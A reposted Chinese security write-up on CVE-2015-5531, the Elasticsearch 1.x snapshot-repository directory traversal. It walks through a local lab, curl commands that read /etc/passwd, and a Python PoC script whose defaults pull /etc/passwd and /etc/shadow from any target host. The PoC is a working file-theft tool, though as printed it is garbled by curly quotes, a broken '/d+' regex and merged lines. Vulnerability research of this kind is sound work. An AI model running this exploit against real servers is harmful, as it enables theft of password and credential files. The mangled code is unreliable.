神刀安全网

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

0×01. elasticsearch 简介

Elasticsearch是荷兰Elasticsearch公司的一套基于全文搜索引擎Apache Lucene构建的开源分布式RESTful搜索引擎,它主要用于云计算中,并支持通过HTTP使用JSON进行数据索引。

Elasticsearch使用Lucene作为内部引擎,在其基础上封装了功能强大的RESTful API,让你不需要了解背后复杂的逻辑,即可完成搜索……

详情请参见 elstic.co

0×02. 漏洞概况

漏洞发布时间:2015-07-21 00:00:00

漏洞类型:路径遍历

漏洞影响版本:1.0.0 – 1.6.0

攻击路径:远程

漏洞产生原因:源于程序没有充分过滤用户提交的输入,远程攻击者可借助目录遍历字符‘..’利用该漏洞访问包含敏感信息的任意文件。

CVSS分值:      5                     [中等(MEDIUM)]

机密性影响:    PARTIAL         [很可能造成信息泄露]

完整性影响:    NONE            [不会对系统完整性产生影响]

可用性影响:    NONE            [对系统可用性无影响]

攻击复杂度:    LOW               [漏洞利用没有访问限制 ]

攻击向量:    NETWORK         [攻击者不需要获取内网访问权或本地访问权]

身份认证:    NONE                [漏洞利用无需身份认证]

0×03. 漏洞环境搭建

网上下载一个elasticsearch1.3.4.tar.gz(也可以去我分享的 百度网盘连接 下载) , 解压,进入解压后的bin目录,

chmod +x elasticsearch
 ./elasticsearch

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

    lsof -i:9200 

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

    curl http://127.0.0.1:9200/?pretty

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

至此 漏洞环境搭建完毕

0×04. 漏洞复现

先说说elasticsearch 的备份与快照功能

漏洞利用需要涉及到elasticsearch的备份功能,elasticsearch 提供了一套强大的API,使得elasticsearch备份非常简单

要实现备份功能。前提是elasticsearch 进程对备份目录有写入权限,一般来说我们可以利用/tmp 或者elasticsearch 自身的安装目录,默认情况下这两个目录elasticsearch 进程都是有写入权限的

 1) 新建一个仓库

备份数据之前,要创建一个仓库来保存数据,仓库的类型支持Shared filesystem, Amazon S3, HDFS和Azure Cloud。下面以文件系统为例:

    curl -XPUT http://127.0.0.1:9200/_snapshot/test -d '      {          "type": "fs",           "settings": {              "location": "/tmp/test"           }      }      '

当然这里也可以使用POST,POST 不仅仅可以创建仓库,还可以修改仓库

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

上面的代码,我们创建了一个名叫test的备份仓库,存放在本地的/tmp/test 目录下

按照上面的步骤再新建一个仓库test2,这个仓库的位置位于/tmp/test/snapshot-backdata

    curl -XPUT http://127.0.0.1:9200/_snapshot/test2 -d '     {         "type": "fs",          "settings": {             "location": "/tmp/test/snapshot-backdata"          }     }     '

有木有注意到test2仓库的位置很特别,elasticsearch 中 备份的快照保存在备份仓库中的命名格式是以snapshot-xxx的格式

所以snapshot-backdata 会被误以为是test仓库的backdata快照,快照都是文件形式保存的,而snapshot-backdata是目录,elasticsearch 没有区分,如果elasticsearch发现其是目录之后,就继续读取目录下的内容,如果目录下的文件明称是恶意构造的(类似../../../) elasticsearch就会去读取这个递归读取文件的内容(这里elasticsearch没有过滤..),从而导致目录遍历(任意文件内容读取)

读到这里,有的读者就可能会问了,为什么要特意构造这样一个名称的仓库呢,不可以直接构造含有遍历符的快照文件名呢

比如 http://127.0.0.1:9200/_snapshot/test/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

结果如下:

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

所以这样是不可以的

2) 开始漏洞验证

curl http://127.0.0.1:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

从返回结果可以看到,elasticsearch 解析出现了异常,并返回了读取文件的内容,: [114,…以后都是读取的/etc/passwd 文件的内容,不过都是内容为10进制整数的字符,需要翻译成人类可读的才好

0x05. poc

cve-2015-5531.py

#!/usr/bin/env python # -*- coding:utf8 -*- """ PoC for CVE-2015-5531 Affects ElasticSearch 1.6.0 and prior """ import re import sys import json import requests import urllib import argparse import traceback import termcolor def colorize_red(string):     """     :param string:     :return     """     return termcolor.colored(string, 'red') def colorize_green(string):     """     :param string:     :return:     """     return termcolor.colored(string, 'green') def create_repos(base_url):     """     :param base_url:     :return: None     """     for index, repo_name in enumerate(REPO_NAME_LST):                  url = "{0}{1}".format(base_url, repo_name)         req = requests.post(url, json=DATA_REPO_LST[index])                   if “acknowledged” in req.json():             print colorize_green(“repository {0}: create success”.format(repo_name)) def grab_file(vuln_url):     “”"     :param xplurl:     :return:     “”"          req = requests.get(vuln_url)     if req.status_code == 400:         data = req.json()         extrdata = re.findall(r’/d+’, str(data['error']))         decoder = bytearray()         for i in extrdata[2:]:             decoder.append(int(i))         print colorize_green(decoder) def exploit(**args):     “”"     :param args:     :return:     “”"     target = args['target']     port = args['port']     fpath = args['fpath'].split(‘,’)     fpath = [urllib.quote(fp, safe='') for fp in fpath]     base_url = “http://{0}:{1}/_snapshot/”.format(target, port)     #create elasticsearch repository for snapshot     create_repos(base_url)     #grab files     for fp in fpath:         vuln_url = ‘{0}{1}/{2}{3}’.format(base_url, REPO_NAME_LST[0], FCK, fp)         print colorize_red(urllib.unquote(fp)) + “:/n”         grab_file(vuln_url) if __name__ == “__main__”:     # for global     FCK = ‘backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..’     REPO_NAME_LST = ['test11', 'test12']      DATA_REPO_LST = [{"type": "fs", "settings": {"location":  "/tmp/test30"}}, {"type": "fs", "settings": {"location":  "/tmp/test30/snapshot-backdata"}}]     parser = argparse.ArgumentParser(usage=”python cve-2015-5531.py options”,                                      description=”cve-2015-5531 Vuln PoC”, add_help=True)     parser.add_argument(‘-t’, ‘–target’, metavar=’TARGET’, type=str, dest=”target”, required=True, help=’eg: 127.0.0.1 or www.baidu.com’)      parser.add_argument(‘-p’, ‘–port’, metavar=’PORT’, dest=’port’,  type=int, default=9200, help=’elasticsearch port default 9200′)      parser.add_argument(‘–fpath’, metavar=’FPATH’, dest=’fpath’, type=str,  default=’/etc/passwd,/etc/shadow’, help=’file to grab multi files  separated by comma ‘)     args = parser.parse_args()     try:         exploit(**args.__dict__)     except:         traceback.print_exc() 

*投稿:wenjian_tk0,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » Elasticsearch目录遍历漏洞(CVE-2015-5531)复现与分析(附PoC)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮